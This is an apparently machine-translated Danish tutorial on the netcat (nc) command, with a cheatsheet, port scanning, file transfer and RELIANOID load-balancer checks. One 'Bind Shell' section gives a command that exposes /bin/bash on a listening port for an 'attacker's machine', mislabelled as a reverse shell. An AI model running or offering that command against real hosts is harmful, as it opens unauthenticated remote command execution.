Linux nc (Netcat) Kommando #
Linux nc (Netcat)-kommandoen er et alsidigt netværksværktøj, der bruges til netværkskommunikation, fejlfinding og testning. Den kan fungere som en simpel server eller klient og understøtter læsning og skrivning af data via TCP eller UDP. Den er blevet kaldt netværkets "schweizerkniv". nc bruges i vid udstrækning til opgaver som portscanning, filoverførsel og test af netværkstjenester.
Nøglebrug og syntaks for nc Kommando #
Den grundlæggende syntaks for nc kommandoen er:
nc [OPTIONS] [HOST] [PORT]
- OPTIONSFlag til at kontrollere adfærden af
nc. - HOST: Målværten for forbindelsen.
- PORTMålportnummeret.
nc Kommando Cheatsheet-tabel #
| Kommando | Beskrivelse |
nc -zv example.com 80 |
Test om port 80 er aktiveret example.com er åben (udførlig tilstand). |
nc -l 1234 |
Start en lytter på port 1234. |
nc example.com 80 |
Forbind til port 80 på example.com (f.eks. at sende HTTP-anmodninger). |
nc -u example.com 1234 |
Send data til UDP-port 1234 den example.com. |
nc -l -p 8080 |
Start en server, der lytter på port 8080. |
echo "Hello" | nc example.com 1234 |
Send meddelelsen Hello til example.com på port 1234. |
Almindelige sager #
1. Portscanning #
nc -zv example.com 20-25
Denne kommando scanner port 20 til 25 på example.com og udsender deres status.
2. Opsætning af en simpel chat #
Opret en simpel chat mellem to systemer:
På det første system: #
nc -l -p 1234
På det andet system: #
nc HOSTNAME 1234
udskifte HOSTNAME med det første systems IP-adresse.
3. Filoverførsel #
Overfør filer mellem to systemer ved hjælp af nc:
Afsender: #
cat file.txt | nc -q 0 HOSTNAME 1234
Modtager: #
nc -l -p 1234 > file.txt
4. Banneroptagelse #
Hent serviceoplysninger fra en fjernserver:
nc example.com 80
Type HEAD / HTTP/1.0 og tryk Enter to gange for at se HTTP-headerne.
Avanceret brug #
UDP-forbindelse #
Test UDP-forbindelse til et mål:
nc -u example.com 1234
Dette sender data til UDP-port 1234 example.com.
Bind Shell #
Opret en simpel reverse shell til fejlfinding:
På den eksterne maskine: #
nc -l -p 4444 -e /bin/bash
På angriberens maskine: #
nc TARGET 4444
Sikker brug af Netcat #
For forbedret sikkerhed skal du bruge den kryptografiske version af nc (f.eks, ncat med SSL).
Ved brug af nc med RELIANOID Solutions #
In RELIANOIDnetværksinfrastruktur, nc kan tjene forskellige diagnostiske og operationelle formål:
1. Test af load balancer-forbindelsen #
nc -zv loadbalancer.realianoid.local 80
Bekræft, at load balancer accepterer trafik på port 80.
2. Overvåg backend-tjenester #
Tjek hurtigt status for backend-servere:
nc -zv backend1.realianoid.local 8080
Dette kontrollerer, om backend-tjenesten er tilgængelig på port 8080.
3. Valider proxyservervideresendelse #
Test om proxyserveren videresender trafik korrekt:
nc proxy.realianoid.local 443
4. Fejlfinding af brugerdefinerede protokoller #
Brug nc at fejlfinde eller simulere interaktioner med brugerdefinerede protokoller i RELIANOID's miljø.
nc -l -p 5555
Opsæt en lytter til at teste protokolmeddelelser.
Resumé #
nc (Netcat)-kommandoen er et uundværligt værktøj for netværksprofessionelle. Dens evne til at scanne porte, overføre filer og fejlfinde forbindelser gør den ideel til alsidige applikationer. nc med RELIANOID Infrastrukturen er med til at sikre robust netværksydelse og hurtig problemløsning.